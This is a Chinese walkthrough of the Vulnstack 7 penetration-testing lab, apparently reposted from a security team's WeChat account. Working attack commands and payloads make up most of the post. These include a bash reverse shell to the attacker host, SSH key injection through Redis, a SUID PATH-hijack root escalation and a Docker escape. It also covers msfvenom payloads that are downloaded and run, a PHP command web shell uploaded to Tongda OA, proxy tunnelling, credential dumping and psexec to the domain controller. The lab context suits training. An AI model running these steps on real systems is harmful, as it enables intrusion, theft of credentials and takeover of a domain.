vulnstack——7

admin 2024年1月16日09:32:29评论42 views字数 5598阅读18分39秒阅读模式
vulnstack——7

vm8是出网网卡,vm2是内网网卡

vulnstack——7

将VMnet8作为第二层网络的网卡,VMnet2作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。DMZ区域:

给Ubuntu (Web 1)配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:

给Ubuntu (Web 2)和Windows 7(PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet2上连通第三层网络。第三次网络区域:

给Windows Server 2012和Windows 7(PC 2)都只配置了一个网卡,一个连接在VMnet2上连通第三层网络。

网卡配置不成功看https://blog.csdn.net/qq_44345567/article/details/106039844

服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动redis和nginx服务:

redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:MYOAbinAutoConfig.exe

域用户信息
域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

ubuntu1(web1)

vulnstack——7

vulnstack——7

ubuntu2(web2)

vulnstack——7

win7(pc1)

vulnstack——7

测试成功

vulnstack——7

Web渗透

信息收集

卡里扫描存活ip

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.10.1/24

vulnstack——7

vulnstack——7

扫描详细信息

nmap -T4 -sC -sV 192.168.10.130 -p 1-65535 -oN nmap.A

vulnstack——7

22的ssh

80的nginx

81的Laravel

6379的redis

首先下载redis-cli工具,在kali上连接192.168.1.116:6379上的redis

redis-cli -h 192.168.10.130

有了未授权,我们直接向目标主机写入ssh公钥,先在kali上生成ssh公钥

ssh-keygen -t rsa

然后将公钥导入hi.txt文件(前后用n换行,避免和Redis了其他缓存数据混合),再把hi.txt文件内容写进目标主机的redis缓存里

(echo -e "nn"; cat ~/.ssh/id_rsa.pub; echo -e "nn") > ./ssh.txt
cat ./ssh.txt | redis-cli -h 192.168.10.130 -x set ssh

vulnstack——7

发现一个52网段

vulnstack——7

ls /home下的文件发现有目录web

cd /etc/nginx/conf.d/

发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口

发现81端口进行了反向代理

vulnstack——7

发现是Laravel框架,这个版本为v8.29.0(PHP v7.4.14)

这版本存在远程代码执行漏洞,可以通过exp打,生成shell

vulnstack——7

使用哥斯拉2.92版本进行连接,最新版本可能加密方式改了所以连接不上去

vulnstack——7

vulnstack——7

成功连接

vulnstack——7

发现是个docker容器

先向kali中反弹一个shell

然后我们在kali上先开启8848端口的监听

nc -lvvp 8848

反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.10.129/8848<&1'

vulnstack——7

目前权限还不够让我们进一步进行渗透

目前的权限是www,我们可以利用容器操纵实体机修改ssh,进行免密登陆

现在的权限不支持我们进行这一步

所以进行提权

首先查找高权限的文件,也就是可以进行root操作的权限

使用find命令来搜索SUID或4000权限的文件

find / -perm -u=s -type f 2>/dev/null

vulnstack——7

这里查完可以知道home/jobs的shell是以高权限运行的

vulnstack——7

我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找我们写的恶意ps

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell
id
python -c 'import pty; pty.spawn("/bin/bash")'

vulnstack——7

运行成功就能高权限root权限了

实现了www用户到root用户的权限提升,我们这台并不是实体机我们需要进行docker特权逃逸

docker特权逃逸

特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

mkdir /li

尝试将/dev/sda1挂载到/li目录

mount /dev/sda1 /hi

vulnstack——7

我们在刚才获取的web1主机上生成一个ssh密钥

接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以使用密钥登录改机器

vulnstack——7

我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中

cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys
echo > /hi/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

vulnstack——7

vulnstack——7

利用web1上的hi密钥进行登录

发现登入上的用户是ubuntu用户,先信息收集,发现存在93网段

vulnstack——7

vulnstack——7

发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

(Linux内核版本 < 5.11)

建立一个exploit.c文件,然后将脚本内容粘贴进行,然后编译运行就可以获得权限

注意:vim保存文件首先按下ESC键进入命令模式,再按下Shift+:输入wq!进行保存

提示:vim进行脚本内容粘贴时第一行可能会没有需要手打否则会报错

vim exploit.c
gcc exploit.c -o exploit
chmod +x exploit
./exploit

成功提权,接下来两台机子上线MSF进攻内网

vulnstack——7

上线MSF

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=1111 -f elf > ubuntu.elf
use exploit/multi/handler
set lhost 192.168.10.129
set lport 1111
set payload linux/x86/meterpreter/reverse_tcp
run
wget http://192.168.10.129/ubuntu.elf
chmod 777 ubuntu.elf
nohup ./ubuntu.elf &

vulnstack——7

vulnstack——7

vulnstack——7

搭建ew代理

在kali上执行

./ew_for_linux64 -s rcsocks -l 1081 -e 23456

在web1上执行

./ew_for_linux64 -s rssocks -d 192.168.10.129 -e 23456

vulnstack——7

vulnstack——7

修改文件内的ip

vim /etc/proxychains4.conf

vulnstack——7

接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

vulnstack——7

发现30主机,进行端口扫描

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30

vulnstack——7

我们发现了8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好代理后,成功访问:

vulnstack——7

vulnstack——7

vulnstack——7

抓取页面的包

vulnstack——7

修改再发包
需修改以下三个地方:
/logincheck.php      /logincheck_code.php
删除cookie在post包中添加UID=1

vulnstack——7

POC:https://blog.csdn.net/szgyunyun/article/details/107104288

vulnstack——7

抓取当前页面的包上传图片马

vulnstack——7

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

vulnstack——7

出现图片马的路径,上传木马

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2102/96964187.jpg"}&cmd=whoami

vulnstack——7

上线win7(pc1)

在kali上生成一个msf的马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=9999 -f exe >nb.exe

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 9999
set lhost 192.168.10.129
run

vulnstack——7

vulnstack——7

通过kali的http服务将exe文件下载到边界的ubuntu(web1)

vulnstack——7

vulnstack——7

ubuntu开启http服务,通过刚才抓到的bp包将exe文件上传到win7(pc1)中

python3 -m http.server 1009

vulnstack——7

vulnstack——7

木马执行成功没有回显,但是msf已经成功反弹上

vulnstack——7

vulnstack——7

msf反弹显示是低权限,抓取不到密码,直接使用cs上线抓取密码,抓取到明文密码

administrator:Whoami2021
bunny:Bunny2021

vulnstack——7

vulnstack——7

在win7(pc1)上搭建代理使kali可以访问93网段

kali上执行

./ew_for_linux64 -s rcsocks -l 1081 -e 23456

win7(pc1)执行

ew_for_Win.exe -s rssocks -d 192.168.10.129 -e 23456

vulnstack——7

vulnstack——7

发现存活30、40主机

vulnstack——7

psexec攻击

vulnstack——7

vulnstack——7

vulnstack——7

vulnstack——7

vulnstack——7

至此我们上线域控

原文始发于微信公众号(揽月安全团队):vulnstack——7

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日09:32:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnstack——7https://cn-sec.com/archives/2398134.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息